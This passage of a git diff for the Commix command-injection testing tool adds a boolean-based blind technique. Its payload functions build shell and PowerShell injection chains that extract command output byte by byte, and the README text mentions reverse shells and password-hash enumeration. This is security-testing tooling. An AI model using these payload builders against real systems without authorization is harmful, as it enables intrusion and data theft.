+ settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_info_msg(base + ": " + _display())) + + def _resolve(position): + resolved[position] = _byte_at(channel, cmd, position) + _note() + + if workers == 1: + for position in positions: + _resolve(position) + if resolved[position] is None: + break + else: + with concurrent.futures.ThreadPoolExecutor(max_workers=min(workers, length)) as executor: + list(executor.map(_resolve, positions)) + + output = _so_far() + if settings.VERBOSITY_LEVEL == 0: + settings.close_progress_line() + return output + +""" +The exploitation function. +(call the injection handler) +""" +def exploitation(url, timesec, filename, http_request_method, injection_type, technique): + from src.core.controller import handler + return handler.do_boolean_based_process(url, timesec, filename, http_request_method, injection_type, technique) + +# eof diff --git a/src/core/techniques/boolean_based/bb_injector.py b/src/core/techniques/boolean_based/bb_injector.py new file mode 100644 index 0000000000..416ed82ea5 --- /dev/null +++ b/src/core/techniques/boolean_based/bb_injector.py @@ -0,0 +1,76 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +from src.utils import settings +from src.core.requests import requests +from src.core.controller import checks + +""" +Send one question and read the answer off the page the target renders. + +None where the answer cannot be read at all - a request that never arrived, or an oracle the run was +never given - which is not the same as a no and must not be bisected on. +""" +def ask(payload, prefix, suffix, whitespace, http_request_method, url, vuln_parameter): + return answer(payload, prefix, suffix, whitespace, http_request_method, url, vuln_parameter)[0] + +""" +The same question, with the name of the parameter the payload turned out to land in. + +Worked out by the request rather than guessed at here, which is what lets a finding be reported +against the parameter it was actually found on. +""" +def answer(payload, prefix, suffix, whitespace, http_request_method, url, vuln_parameter): + response, vuln_parameter, _, _, _ = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) + if response is False or response is None: + return None, vuln_parameter + try: + page = checks.remove_reflected_values(checks.decode_page_body(response.read(), response), payload) + code = response.getcode() + except Exception: + return None, vuln_parameter + return checks.boolean_oracle(page, code), vuln_parameter + +""" +The page a question came back with, for learning what a yes and a no look like on this target. + +The boundary comes back as it was actually sent, which is not always as it was passed in: the +parameter's own value is folded into the prefix on the way out, and a finding stored without it +replays as a payload that replaces the value instead of following it. +""" +def page_of(payload, prefix, suffix, whitespace, http_request_method, url, vuln_parameter): + response, vuln_parameter, _, prefix, suffix = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) + if response is False or response is None: + return None, None, vuln_parameter, prefix, suffix + try: + # The payload's own text is taken back out of the answer: a page that echoes what it was given + # differs between two questions because of the questions, not because of what ran. + page = checks.remove_reflected_values(checks.decode_page_body(response.read(), response), payload) + return page, response.getcode(), vuln_parameter, prefix, suffix + except Exception: + return None, None, vuln_parameter, prefix, suffix + +""" +Run a command and hand back what it printed, read a byte at a time off the page. + +The same shape the out-of-band injector answers to, so that everything built on top - the enumeration +checks, the file access, '--os-cmd' and the shell - reaches this technique the way it reaches that one. +""" +def injection(separator, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter): + from src.core.techniques.boolean_based import bb_handler as handler + channel = handler.Channel(separator, prefix, suffix, whitespace, http_request_method, url, vuln_parameter) + return handler.retrieve(channel, cmd) + +# eof diff --git a/src/core/techniques/boolean_based/bb_payloads.py b/src/core/techniques/boolean_based/bb_payloads.py new file mode 100644 index 0000000000..b89c58ed9b --- /dev/null +++ b/src/core/techniques/boolean_based/bb_payloads.py @@ -0,0 +1,176 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +from src.utils import settings +from src.core.controller import checks +from src.core.techniques.time_based import tb_payloads + +""" +A test chained onto what the parameter already runs, whose exit status is the whole of the answer. + +Nothing is printed and nothing is waited for: the target branches on the status the command left +behind, and the page it renders is read as the yes or the no. +""" +def _test(expression): + return "[ " + expression + " ]" + +""" +The separators a question can be asked with using nothing but themselves. + +'&' backgrounds what it chains, so a variable set before the test is gone by the time it runs, and +'||' would need a bare pipe to index the output - a second separator either way. Rather than reach +for one, neither is asked at all: a boundary is only worth reporting if the target was shown to +accept the separator the payload is actually made of. +""" +SUPPORTED_SEPARATORS = (";", "\n", "\r\n", "&&", "|") + +def _supported(separator): + if settings.TARGET_OS == settings.OS.WINDOWS: + return checks.windows_separator(separator) is not None + # A printed answer needs somewhere to hang the printing off, which a bare pipe has not got: 'if' + # wants a ';' before its 'then', and '&&' is a separator of its own. + if settings.BOOLEAN_PRINTED_STATE and separator == "|": + return False + return separator in SUPPORTED_SEPARATORS + +""" +The test, written so that the page can carry its answer - with the separator under test and nothing +else. + +Where the target branches on the exit status the command left behind, the status is the whole of the +answer and the test is left bare. Where it does not - a page that prints what the command said, +whatever it said - the same test is made to print an unguessable marker, and the page then carries +that marker or it does not. Which of the two is in use is settled per target, by trying the first. +""" +def _decide(separator, expression): + if not settings.BOOLEAN_PRINTED_STATE: + return _test(expression) + printing = "echo " + settings.BOOLEAN_MARKER + # What follows '&&' runs only where what precedes it succeeded, which is the whole conditional. + if separator == "&&": + return _test(expression) + separator + printing + if separator in (";", settings.END_LINE.LF, settings.END_LINE.CRLF): + return "if " + _test(expression) + separator + "then " + printing + separator + "fi" + return "" + +""" +The command's output held in a variable, and cut down to the byte being asked about. + +Written with the separator under test and nothing else. A pipe here would ask the target for a +character it was never shown to accept, and a boundary reported as one separator would in truth +have needed two. +""" +def _var_chain(separator, word, qmarks): + var = settings.RANDOM_VAR_GENERATOR + return (var + "=\"" + word + "\"" + separator + + var + "=\"${" + var + "#" + qmarks + "}\"" + separator + + var + "=\"${" + var + "%\"${" + var + "#?}\"}\"" + separator) + +""" +A question whose answer is known, for telling a target that answers at all from one that does not. +""" +def condition_check(separator, holds=True): + if not _supported(separator): + return "" + if settings.TARGET_OS == settings.OS.WINDOWS: + chain = checks.windows_separator(separator) + return checks.windows_boolean_probe(chain, "echo 1", "EQU", "1" if holds else "2") + return checks.terminate_payload(separator + _decide(separator, "1 -eq " + ("1" if holds else "2")), separator) + +""" +The decision payload, which asks the target to print something unguessable and measure it. + +A question with a constant answer would be answered by any page that happens to differ between two +requests. This one cannot be: the tag is made fresh for the run, and only a target that actually ran +the command knows how long what it printed is. +""" +def decision(separator, TAG, output_length, holds=True): + if not _supported(separator): + return "" + expected = str(output_length if holds else output_length + 1) + if settings.TARGET_OS == settings.OS.WINDOWS: + chain = checks.windows_separator(separator) + # The target has to print the tag and measure it, so a page that repeats what it was given + # cannot answer for one that ran the command. + return checks.windows_boolean_probe(chain, + "powershell.exe -InputFormat none write ([string](cmd /c echo " + TAG + ")).trim().length", + "EQU", expected) + word = tb_payloads._output_word("echo " + TAG) + var = settings.RANDOM_VAR_GENERATOR + if separator == "|": + payload = separator + _decide(separator, "$(printf '%s' \"" + word + "\" | wc -c)" + settings.SINGLE_WHITESPACE + "-eq" + settings.SINGLE_WHITESPACE + expected) + else: + payload = (separator + var + "=\"" + word + "\"" + separator + + _decide(separator, "${#" + var + "}" + settings.SINGLE_WHITESPACE + "-eq" + settings.SINGLE_WHITESPACE + expected)) + return checks.terminate_payload(payload, separator) + +""" +How many bytes the command's output is, asked as a comparison so that it can be bisected. + +Built with the separator under test and nothing else. Where that separator cannot carry the answer +on its own, nothing is sent at all - a payload that reached for a second separator would report a +boundary the target was never shown to accept. +""" +def get_length(separator, cmd, candidate_length, operator="-eq"): + word = tb_payloads._output_word(cmd) + var = settings.RANDOM_VAR_GENERATOR + compare = _decide(separator, "${#" + var + "}" + settings.SINGLE_WHITESPACE + operator + settings.SINGLE_WHITESPACE + str(candidate_length)) + inverted = {"-eq": "-ne", "-ge": "-lt", "-le": "-gt"}.get(operator, "-ne") + + if not _supported(separator): + return "" + if settings.TARGET_OS == settings.OS.WINDOWS: + chain = checks.windows_separator(separator) + return checks.windows_boolean_probe(chain, + "powershell.exe -InputFormat none write ([string](cmd /c " + cmd + ")).trim().length", + {"-eq": "EQU", "-ge": "GEQ", "-le": "LEQ"}.get(operator, "EQU"), candidate_length) + if separator == "|": + # The separator is itself a pipe, so the measurement may be one - and needs no variable. + payload = separator + _decide(separator, "$(printf '%s' \"" + word + "\" | wc -c)" + settings.SINGLE_WHITESPACE + + operator + settings.SINGLE_WHITESPACE + str(candidate_length)) + else: + payload = separator + var + "=\"" + word + "\"" + separator + compare + return checks.terminate_payload(payload, separator) + +""" +Whether the ordinal of the output's Nth byte is at or above this one, which is what bisects it. +""" +def get_char(separator, cmd, num_of_chars, ascii_char, operator="-le"): + word = tb_payloads._output_word(cmd) + qmarks = "?" * (num_of_chars - 1) + var = settings.RANDOM_VAR_GENERATOR + var_ordinal = "$(printf '%d' \"'${" + var + "}\")" + inverted = "-gt" if operator == "-le" else "-ne" + compare = lambda expression, op: _decide(separator, str(ascii_char) + settings.SINGLE_WHITESPACE + op + settings.SINGLE_WHITESPACE + expression) + + if not _supported(separator): + return "" + if settings.TARGET_OS == settings.OS.WINDOWS: + chain = checks.windows_separator(separator) + # The ordinal is worked out on the target: cmd.exe compares strings by locale collation, so only + # a number can be binary searched. + return checks.windows_boolean_probe(chain, + "powershell.exe -InputFormat none write ([int][char](([string](cmd /c " + cmd + ")).trim().substring(" + + str(num_of_chars - 1) + ",1)))", + "GEQ" if operator == "-le" else "EQU", ascii_char) + if separator == "|": + # A pipe indexes the output without a variable, which is what lets this stay one separator. + piped = ("$(printf '%d' \"'$(printf '%s' \"" + word + "\" | tail -c +" + str(num_of_chars) + " | head -c 1)\")") + payload = separator + compare(piped, operator) + else: + payload = separator + _var_chain(separator, word, qmarks) + compare(var_ordinal, operator) + return checks.terminate_payload(payload, separator) + +# eof diff --git a/src/core/techniques/results_based/__init__.py b/src/core/techniques/results_based/__init__.py new file mode 100644 index 0000000000..ca8037d413 --- /dev/null +++ b/src/core/techniques/results_based/__init__.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +pass + +# eof diff --git a/src/core/techniques/classic/cb_handler.py b/src/core/techniques/results_based/rb_handler.py similarity index 88% rename from src/core/techniques/classic/cb_handler.py rename to src/core/techniques/results_based/rb_handler.py index 64b4af0139..f459e86093 100755 --- a/src/core/techniques/classic/cb_handler.py +++ b/src/core/techniques/results_based/rb_handler.py @@ -22,7 +22,7 @@ """ The "classic" injection technique handler. """ -def cb_injection_handler(url, timesec, filename, http_request_method, injection_type, technique): +def rb_injection_handler(url, timesec, filename, http_request_method, injection_type, technique): return handler.do_results_based_process(url, timesec, filename, http_request_method, injection_type, technique) """ @@ -30,6 +30,6 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ (call the injection handler) """ def exploitation(url, timesec, filename, http_request_method, injection_type, technique): - return cb_injection_handler(url, timesec, filename, http_request_method, injection_type, technique) + return rb_injection_handler(url, timesec, filename, http_request_method, injection_type, technique) # eof diff --git a/src/core/techniques/classic/cb_injector.py b/src/core/techniques/results_based/rb_injector.py similarity index 100% rename from src/core/techniques/classic/cb_injector.py rename to src/core/techniques/results_based/rb_injector.py diff --git a/src/core/techniques/classic/cb_payloads.py b/src/core/techniques/results_based/rb_payloads.py similarity index 100% rename from src/core/techniques/classic/cb_payloads.py rename to src/core/techniques/results_based/rb_payloads.py diff --git a/src/utils/session_handler.py b/src/utils/session_handler.py index 1835de6d9b..3e07c2b7ec 100755 --- a/src/utils/session_handler.py +++ b/src/utils/session_handler.py @@ -89,18 +89,35 @@ def url_match(url): Restore a value the session stored, unless this run was given one of its own on the command line - what the user asked for now outranks what a previous run happened to be using. """ -def restore_option(stored, applied, label): +def restore_option(stored, applied, label, placeholder=None): if not stored or stored == "None": return None + # A value the previous run shortened to a placeholder of its own is that same value, written the + # way that run was sending it. The difference is commix's own doing, so there is nothing to report + # and nothing to restore: what was given now stands. + if placeholder and placeholder in stored: + return None # What was stored carries the marker saying where the injection point is, and what is given now # does not - so the two are compared by what they hold rather than by how they are written. if applied and checks.remove_tags(applied) != checks.remove_tags(stored): warn_msg = ("The stored session was found using the " + label + " '" + checks.remove_tags(stored) + "', which differs " "from the one provided now ('" + applied + "'). Keeping the one provided now.") - settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + say_once_about_session(warn_msg) return None return stored +""" +Said once for the run. + +Every technique that resumes reads the same stored row back, so a single fact about that session +would otherwise be reported once per technique - four times over for a target that resumed four. +""" +def say_once_about_session(warn_msg): + if warn_msg in settings.REPLAY_NOTICES_SAID: + return + settings.REPLAY_NOTICES_SAID.add(warn_msg) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + """ Say when a stored finding was made with something other than what this run was given. @@ -113,7 +130,7 @@ def announce_replay_conflict(stored, applied, label, switch): warn_msg = ("The stored session was found using the " + label + " '" + str(stored) + "', which " "differs from the '" + switch + "' value provided now ('" + str(applied) + "'). " "Using the stored value to replay this technique consistently.") - settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + say_once_about_session(warn_msg) """ How a stored technique is selected today: the technique letter it is reached by, and whether it @@ -142,7 +159,7 @@ def technique_letter(technique_info): return technique_info.split()[2][0] if technique_info == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: return settings.INJECTION_TECHNIQUE.FILE_BASED[0] - if technique_info in (settings.INJECTION_TECHNIQUE.CLASSIC, settings.INJECTION_TECHNIQUE.TIME_BASED, settings.INJECTION_TECHNIQUE.FILE_BASED, settings.INJECTION_TECHNIQUE.OOB): + if technique_info in (settings.INJECTION_TECHNIQUE.RESULTS_BASED, settings.INJECTION_TECHNIQUE.BOOLEAN_BASED, settings.INJECTION_TECHNIQUE.TIME_BASED, settings.INJECTION_TECHNIQUE.FILE_BASED, settings.INJECTION_TECHNIQUE.OOB): return technique_info[0] return None @@ -256,6 +273,13 @@ def _ensure_columns(conn, table, columns): Store details of a successful injection point into the session database. Includes various metadata such as technique, payload, timing, vulnerability status, HTTP method, headers, and cookies. """ +def _stored_tmp_path(technique): + # A finding that fell back to a temporary directory has to record which one, or the resumed run + # has no name for the file its stored payload reads back. + if technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: + return menu.options.tmp_path or settings.TMP_PATH or "" + return menu.options.tmp_path or "" + def import_injection_points(url, technique, injection_type, filename, separator, shell, vuln_parameter, prefix, suffix, TAG, interpreter, payload, http_request_method, url_time_response, timesec, exec_time, output_length, is_vulnerable): try: @@ -289,7 +313,7 @@ def import_injection_points(url, technique, injection_type, filename, separator, str(prefix), str(suffix), str(TAG), str(interpreter), str(payload), str(settings.HTTP_HEADER), str(http_request_method), int(url_time_response), int(timesec), int(exec_time), int(output_length), str(is_vulnerable), str(menu.options.data), str(menu.options.cookie), - str(menu.options.tamper or ""), str(settings.TARGET_OS), str(settings.WEB_ROOT or ""), str(menu.options.tmp_path or ""), + str(menu.options.tamper or ""), str(settings.TARGET_OS), str(settings.WEB_ROOT or ""), str(_stored_tmp_path(technique)), str(menu.options.second_url or ""), str(menu.options.second_req or ""), str(settings.CSRF_TOKEN_ORIGINAL or ""), str(menu.options.csrf_url or ""), str(menu.options.csrf_method or ""), str(menu.options.csrf_data or ""), json.dumps(settings.VALUE_ENCODING) if settings.VALUE_ENCODING else "") @@ -574,10 +598,12 @@ def apply_stored_technique(row): if http_header: settings.HTTP_HEADER = http_header - cookie = restore_option(cookie, settings.USER_APPLIED_COOKIE, "cookie") + # The short stand-in the previous run put in place of the parameter's own value, if it used one. + placeholder = check_stored_testable_value(url, vuln_parameter, http_request_method) + cookie = restore_option(cookie, settings.USER_APPLIED_COOKIE, "cookie", placeholder) if cookie: menu.options.cookie = cookie - data = restore_option(data, settings.USER_APPLIED_DATA, "POST data") + data = restore_option(data, settings.USER_APPLIED_DATA, "POST data", placeholder) if data: settings.IGNORE_USER_DEFINED_POST_DATA = False menu.options.data = data @@ -588,7 +614,7 @@ def apply_stored_technique(row): warn_msg = ("The stored session was found using tamper script(s) '" + tamper + "', " "which differs from the '--tamper' value provided now ('" + menu.options.tamper + "'). Using the stored value to replay this technique consistently.") - settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + say_once_about_session(warn_msg) menu.options.tamper = tamper if target_os and target_os != "None": if menu.options.os and menu.options.os.lower() != target_os: diff --git a/src/utils/settings.py b/src/utils/settings.py index 29dae800a1..135c32b087 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -382,7 +382,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "170" +REVISION = "171" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -607,7 +607,7 @@ class OS(object): NO_OUTPUT = ">/dev/null 2>&1" # Exploitation techniques states -CLASSIC_STATE = False +RESULTS_BASED_STATE = False EVAL_BASED_STATE = False TIME_BASED_STATE = False FILE_BASED_STATE = False @@ -683,6 +683,31 @@ class OS(object): # Below this similarity ratio, two page fetches count as "dynamic". STABILITY_SIMILARITY_THRESHOLD = 0.98 +# The two pages a question with a known answer came back with, kept so that every later answer is +# read against them rather than against a threshold - what a condition changes can be two characters +# of a page that is otherwise thousands, which no ratio of the whole would notice. +# What a Windows payload prints when its test holds, made once for the run. cmd.exe carries no exit +# status back to a page that only shows what a command printed, so the answer has to be printable. +BOOLEAN_MARKER = ''.join(random.choice(string.ascii_uppercase) for _ in range(6)) + +# Whether the answer is read off a marker the payload printed rather than off the page the target +# branched into - settled per target, and only where branching was shown to say nothing. +BOOLEAN_PRINTED_STATE = False + +# Said once for the run, where a retrieval is being made a byte at a time on a single thread. +BOOLEAN_THREADS_SUGGESTED = False + +# The two answers as they arrived, kept beside their comparable forms so that what tells them apart +# can be quoted back as an option the next run can be given. +BOOLEAN_TRUE_CODE = None +BOOLEAN_FALSE_CODE = None + +BOOLEAN_TRUE_RAW = None +BOOLEAN_FALSE_RAW = None + +BOOLEAN_TRUE_PAGE = None +BOOLEAN_FALSE_PAGE = None + # One-time "reflected value(s) found" notice already shown this run. REFLECTIVE_VALUE_FOUND = False @@ -997,11 +1022,11 @@ def resolve_language(name): # Available injection techniques. Out-of-band is not one of them - it is the '--oob' switch, so that # it can serve the modules too, which never go through '--technique'. -AVAILABLE_TECHNIQUES = ['r','t','f'] +AVAILABLE_TECHNIQUES = ['r','b','t','f'] # The letter that used to name the evaluation sink before '--eval' did, the technique that reaches # that sink today, and the one whose technique carries whichever sink it is given. EVAL_TECHNIQUE_LETTER = 'e' -EVAL_CAPABLE_TECHNIQUES = ('r', 't', 'f') +EVAL_CAPABLE_TECHNIQUES = ('r', 'b', 't', 'f') OOB_TECHNIQUE_LETTER = 'o' # The languages the evaluation sink knows how to reach, and the word standing for all of them. SUPPORTED_EVAL_LANGUAGES = _eval.supported() @@ -1084,24 +1109,25 @@ class INJECTION_TYPE(object): # Supported injection techniques class INJECTION_TECHNIQUE(object): - CLASSIC = "results-based command injection technique" + RESULTS_BASED = "results-based command injection technique" DYNAMIC_CODE = "dynamic code evaluation technique" + BOOLEAN_BASED = "boolean-based command injection technique" TIME_BASED = "time-based command injection technique" FILE_BASED = "file-based injection technique" TEMP_FILE_BASED = "tempfile-based injection technique" OOB = "out-of-band command injection technique" # Canonical order techniques are tested and reported in. -TECHNIQUE_ORDER = [INJECTION_TECHNIQUE.CLASSIC, INJECTION_TECHNIQUE.DYNAMIC_CODE, INJECTION_TECHNIQUE.TIME_BASED, INJECTION_TECHNIQUE.FILE_BASED, INJECTION_TECHNIQUE.TEMP_FILE_BASED, INJECTION_TECHNIQUE.OOB] +TECHNIQUE_ORDER = [INJECTION_TECHNIQUE.RESULTS_BASED, INJECTION_TECHNIQUE.DYNAMIC_CODE, INJECTION_TECHNIQUE.BOOLEAN_BASED, INJECTION_TECHNIQUE.TIME_BASED, INJECTION_TECHNIQUE.FILE_BASED, INJECTION_TECHNIQUE.TEMP_FILE_BASED, INJECTION_TECHNIQUE.OOB] # The techniques each injection type is reached by - '--type' names the type, and the run tests # every technique that shows a result that way. -AVAILABLE_TYPES = {"c" : "r", "b" : "tf"} +AVAILABLE_TYPES = {"c" : "r", "b" : "btf"} # The technique letter follows the first letter of its name, so a renamed technique renames its # letter with it - and a session written before the rename still has to find its way to the same one. LEGACY_TECHNIQUE_NAMES = { - "classic command injection technique" : INJECTION_TECHNIQUE.CLASSIC + "classic command injection technique" : INJECTION_TECHNIQUE.RESULTS_BASED } LEGACY_TECHNIQUE_LETTERS = {"c" : "r"} @@ -1149,6 +1175,10 @@ class INJECTION_TECHNIQUE(object): OOB_EAGER_POLLS = 3 SHELLSHOCK_OOB = False +# Set where the module is confirmed but the target hands nothing back, so the output is read off the +# page the way the boolean-based technique reads it - a false answer stops the script before it runs. +SHELLSHOCK_BOOLEAN = False + # The tamper-count warning is per run, not per technique announcement. TAMPER_WARNING_SHOWN = False @@ -1417,6 +1447,11 @@ def ascii_transparent_encoding(name): # The same argument as a JSON envelope spells it, with the document's own quotes escaped. GRAPHQL_ARGUMENT_ESCAPED_REGEX = r'([A-Za-z_]\w*)\s*:\s*\\"((?:[^"\\]|\\.)*?)\\"' +# What a page has to say for an injected condition to have held, where the run was given a way to +# tell - the answer a blind technique reads when the target branches on the command rather than +# printing it. +BOOLEAN_BASED_STATE = None + # Whether the POST body is a GraphQL document. IS_GRAPHQL = False @@ -1508,6 +1543,10 @@ def strip_ansi_codes(text): # Whether a stored technique likely exists for the current target (host + method). LIKELY_RESUME = False # Cache stored techniques per parameter. +# What has already been said about a stored session this run, so that a fact noticed once per +# resumed technique is still only reported once. +REPLAY_NOTICES_SAID = set() + STORED_TECHNIQUES = {} # Pending file/tempfile-based cleanups, asked at quit() - keyed by output file path. PENDING_FILE_CLEANUPS = {} @@ -1998,6 +2037,15 @@ class END_LINE: PARTIAL_VALUE_MARKER = "\x02COMMIX_PARTIAL\x02" # Max characters shown at once in the live progress line. +# Below this a line is a label rather than a sentence, and says too little to name an answer by. +CANDIDATE_SENTENCE_MIN_LENGTH = 10 + +# Long enough to be distinctive, short enough to be typed back by hand. +BOOLEAN_STRING_HINT_MAXLEN = 40 + +# How far either side of a difference to reach for the context that makes it unique, smallest first. +BOOLEAN_STRING_HINT_MARGINS = (10, 18, 26, 34) + PROGRESS_DISPLAY_WIDTH = 60 # How much of the estimate on screen is kept when a fresh one is worked out, so that one slow @@ -2480,7 +2528,7 @@ class END_LINE: "SESSION_FILE", "SHOW_LOGS_MSG", "TAMPER_SCRIPTS", "SITEMAP_CHECK", "SKIPPED_OUT_OF_SCOPE", "SKIP_VULNERABLE_HOST", "RESULTS_FILE_FORMAT", "RESULTS_FILE_STARTED", "TEST_FILTER", "TEST_SKIP", "PREPROCESS_FUNCTIONS", "POSTPROCESS_FUNCTIONS", - "STDIN_PARSING", "TAMPER_WARNING_SHOWN", "TIME_RELATED_ATTACK_WARNING", "TOTAL_OF_REQUESTS", "EVAL_SUGGESTED", "COMMAND_SUGGESTED", + "BOOLEAN_THREADS_SUGGESTED", "REPLAY_NOTICES_SAID", "STDIN_PARSING", "TAMPER_WARNING_SHOWN", "TIME_RELATED_ATTACK_WARNING", "TOTAL_OF_REQUESTS", "EVAL_SUGGESTED", "COMMAND_SUGGESTED", "VALIDATION_RUN", "VISIBLE_CONNECTION_ERRORS", "WARNED_HTTP_ERROR_CODES", # Set by the connection to whichever target is in hand, before this reset can be reached. "HOSTNAME", "SCHEME", "TARGET_NETLOC", "TARGET_URL", From a130375cd4ad9734f5c1796472c23096d108ad2a Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Mon, 28 Sep 2026 10:34:08 +0300 Subject: [PATCH 0839/1023] Update README(s). --- doc/translations/README-es-ES.md | 6 ++++-- doc/translations/README-fa-FA.md | 6 ++++-- doc/translations/README-fr-FR.md | 6 ++++-- doc/translations/README-idn-IDN.md | 6 ++++-- doc/translations/README-tr-TR.md | 5 +++-- 5 files changed, 19 insertions(+), 10 deletions(-) diff --git a/doc/translations/README-es-ES.md b/doc/translations/README-es-ES.md index 7523935114..290ee8c2ad 100644 --- a/doc/translations/README-es-ES.md +++ b/doc/translations/README-es-ES.md @@ -34,14 +34,16 @@ Puede visitar la **[colección de capturas de pantalla](https://github.com/commi ## Características -* **Cinco técnicas de inyección** - classic (basada en resultados), boolean-based (a ciegas, leyendo la respuesta en la página), time-based (a ciegas), file-based (a ciegas, con una variante tempfile-based para objetivos con escritura restringida) y out-of-band (OAST) sobre HTTP/S y DNS. +* **Cinco técnicas de inyección** - results-based (classic), boolean-based (a ciegas, leyendo la respuesta en la página), time-based (a ciegas), file-based (a ciegas, con una variante tempfile-based para objetivos con escritura restringida) y out-of-band (OAST) sobre HTTP/S y DNS. Se eligen con `--technique`, o según el tipo con el que se informan con `--type`. * **Inyección de código** - `--eval` prueba la cadena que el objetivo evalúa como código, en PHP o Python, con las mismas cuatro técnicas. * **Amplia superficie de inyección** - parámetros GET/POST, cabeceras HTTP, cookies y cuerpos de petición JSON/XML, además del módulo `shellshock` para objetivos CGI. * **Shells interactivas y post-explotación** - una `os_shell` en el objetivo, los modos integrados `reverse_tcp` y `bind_tcp`, transferencia de archivos (`download`/`upload`) a través de la shell establecida, y enumeración del usuario actual, nombre del host, privilegios, información del sistema, usuarios y hashes de contraseñas. Cada hallazgo puede volver a demostrarse con `--proof`, que ejecuta un experimento propio y escribe la transcripción junto a la salida del análisis. * **Evasión de filtros y WAF** - Múltiples scripts de manipulación (tamper) combinables, aplicados en un orden determinista. * **Objetivos flexibles** - una única URL, un rastreo del sitio, formularios HTML, un sitemap, un registro de proxy, un archivo con varios objetivos, un archivo con una petición HTTP en bruto o entrada por `stdin`. * **Análisis reanudables y salida legible por máquina** - los resultados se almacenan por objetivo en un archivo de sesión y pueden exportarse como JSON, como un CSV que abarca todos los objetivos analizados, o como un registro HAR del tráfico HTTP del análisis. Las opciones con las que se ejecutó un análisis pueden guardarse como perfil y reutilizarse. -* **Amplio soporte de back-end** - PHP, Python, Perl, Ruby, ASP.NET, JSP y CGI. +* **Amplio soporte de back-end** - PHP, Python, Perl, Ruby, ASP.NET, JSP y CGI, y funciona tanto contra objetivos tipo Unix como Windows - consulte +[Windows and Unix-like targets at a glance](https://github.com/commixproject/commix/wiki/Techniques#windows-and-unix-like-targets-at-a-glance) +para ver en qué se diferencian las cargas útiles. ## Instalación diff --git a/doc/translations/README-fa-FA.md b/doc/translations/README-fa-FA.md index 0b58746f5a..687dd0e3fa 100644 --- a/doc/translations/README-fa-FA.md +++ b/doc/translations/README-fa-FA.md @@ -33,14 +33,16 @@ ## ویژگی‌ها -* **پنج تکنیک تزریق** - classic (مبتنی بر نتیجه)، boolean-based (کور، با خواندن پاسخ از صفحه)، time-based (کور)، file-based (کور، به همراه گونه tempfile-based برای هدف‌هایی با محدودیت نوشتن) و out-of-band (OAST) روی HTTP/S و DNS. +* **پنج تکنیک تزریق** - results-based (classic)، boolean-based (کور، با خواندن پاسخ از صفحه)، time-based (کور)، file-based (کور، به همراه گونه tempfile-based برای هدف‌هایی با محدودیت نوشتن) و out-of-band (OAST) روی HTTP/S و DNS. با `--technique` انتخاب می‌شوند، یا بر پایه نوعی که با `--type` گزارش می‌کنند. * **تزریق کد** - سوئیچ `--eval` رشته‌ای را که هدف به عنوان کد ارزیابی می‌کند، در PHP یا Python و با همان چهار تکنیک آزمایش می‌کند. * **سطح تزریق گسترده** - پارامترهای GET/POST، سرآیندهای HTTP، کوکی‌ها و بدنه درخواست‌های JSON/XML، به‌علاوه ماژول `shellshock` برای هدف‌های CGI. * **پوسته‌های تعاملی و پس از بهره‌برداری** - یک `os_shell` روی هدف، حالت‌های داخلی `reverse_tcp` و `bind_tcp`، انتقال فایل (`download`/`upload`) از طریق پوسته برقرارشده، و شمارش کاربر جاری، نام میزبان، سطوح دسترسی، اطلاعات سیستم، کاربران و درهم‌سازی گذرواژه‌ها. هر یافته را می‌توان با `--proof` دوباره اثبات کرد، که آزمایشی از آنِ خود اجرا می‌کند و رونوشت آن را کنار خروجی اجرا می‌نویسد. * **دور زدن فیلترها و WAF** - چندین اسکریپت tamper قابل ترکیب، که با ترتیبی قطعی اعمال می‌شوند. * **هدف‌گذاری انعطاف‌پذیر** - یک URL، پویش سایت، فرم‌های HTML، sitemap، گزارش پروکسی، فایل چندهدفی، فایل درخواست خام HTTP یا ورودی `stdin`. * **پویش‌های قابل ازسرگیری و خروجی ماشین‌خوان** - نتایج به تفکیک هدف در یک فایل نشست ذخیره می‌شوند و می‌توان آن‌ها را به‌صورت JSON، به‌صورت یک CSV دربرگیرندهٔ همهٔ هدف‌های آزموده‌شده، یا به‌صورت یک گزارش HAR از ترافیک HTTP اجرا خروجی گرفت. گزینه‌هایی که یک اجرا با آن‌ها انجام شده است را می‌توان به‌عنوان نمایه ذخیره و دوباره استفاده کرد. -* **پشتیبانی گسترده از بک‌اند** - PHP، Python، Perl، Ruby، ASP.NET، JSP و CGI. +* **پشتیبانی گسترده از بک‌اند** - PHP، Python، Perl، Ruby، ASP.NET، JSP و CGI، و روی هدف‌های 